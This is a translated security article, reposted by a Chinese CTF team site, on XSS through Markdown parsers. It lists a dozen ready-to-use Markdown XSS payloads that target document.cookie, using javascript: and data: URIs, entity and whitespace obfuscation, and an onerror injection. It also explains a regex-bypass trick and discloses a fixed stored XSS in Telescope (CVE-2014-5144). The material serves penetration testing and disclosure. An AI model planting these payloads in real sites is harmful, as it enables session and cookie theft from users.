利用Markdown语法并通过Markdown和Telescope的扩展持久XSS(CVE-2014-5144)

利用Markdown语法

Markdown很不错。实际上,本文章本身是用Markdown编写的。对于链接,表格code blocks和列表之类的简单事物,我不需要使用冗长的不必要的HTML 。我也不需要费力地用文本做一些简单的事情,例如使单词加粗或斜体。在过去的几年中,Markdown获得了很多关注。现在,它已被Reddit,Github,StackOverflow等使用。此外,在新兴企业推出的新应用程序中,Markdown似乎越来越受欢迎。伴随着这一响应,多年来,大量的Markdown解析库已经发布。

看一下Markdown的非官方/通用规范,它提出了Markdown提供的各种语法,以及随后由Markdown解析器解析并转换为HTML的语法。

不幸或幸运的是(从人们的角度来看),处理和解析降价的方式没有标准化。这完全由Markdown解析库的开发人员完成。如前所述,由于有许多用于此类解析的库,因此必须对清理做出非常重要的决定。

然而,似乎大多数库并没有为清除提供给Markdown解析器的用户输入提供坚实的基础。从逻辑上讲,如果我们考虑一下通常在何处使用降价:即注释和用户内容,我们很快就会意识到,降价库中缺乏清理,可能会使开发人员在使用降价时没有意识到,他们仍然需要手动清理和验证用户输入。

此外,如果你在google上做一个简单的搜索:markdownxss问题网址:github.com-你得到了大量的有效结果。一些回购债券的发行量从10星到12000星不等。

那么,如何利用Markdown解析器呢?没问题。

请参考以下向量:

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>  
<&#x6Aavascript:alert('XSS')>  
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6Aavascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

这些向量最初的目的是检查主动使用markdown的服务上与Markdown相关的漏洞。在过去的12个月左右的时间里,上述Markdown利用向量已被证明在渗透测试和一般的bug搜索中非常成功。

上面的向量针对边缘情况,大多数Markdown库仍然容易受到攻击。例如,让我们看一下该列表上的最后一个向量:

[test](javascript://%0d%0aprompt(1);com)

因此,让我们想象一下,这是Markdown解析器在尝试验证链接时的逻辑:

  1. 链接是否有架构?是。javascript://
  2. 链接是否以已知的结尾(com,org等)结尾?是.com
  3. 因此,让我们将其转换为HTML!
<a href="javascript://%0d%0aprompt(1);com>test</a>

上面的链接,单击后将执行放在新行控制字符(%0d%0a)之后的有效负载。我们已经成功地将XSS向量放置在看起来像链接的东西中,但实际上并非如此。上面演示的向量在使用松弛正则表达式验证链接有效性的解析器上最有效。

通过Markdown和Telescope扩展持久XSS(CVE-2014-5144)

Telescope是一个出色的开源项目,旨在提供软件(基于Meteor.js构建)来创建和运行类似于Reddit和Hackernews的社区。长期以来,Telescope的一项功能(Markdown解析注释和线程)被发现容易受到跨站点脚本的攻击。

特别是在0.9.3之前的Telescope版本上,可以使用我上面列表中的简单XSS向量将任意javascript放在注释或线程中。此问题已得到修复,您可以在此处的更改日志中找到对此的提及:http://www.telesc.pe/blog/telescope-v093-dailyscope/

用于利用此漏洞的媒介:

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

注:此漏洞已在Telescope> = 0.9.3的所有版本中修复。

关注:Hunter网络安全 获取更多资讯
网站:bbs.kylzrv.com
CTF团队:Hunter网络安全
文章:Shubham Shah
排版:Hunter-匿名者

你可能感兴趣的:(技术,xss,Markdown,markdown,Telescope,经验分享)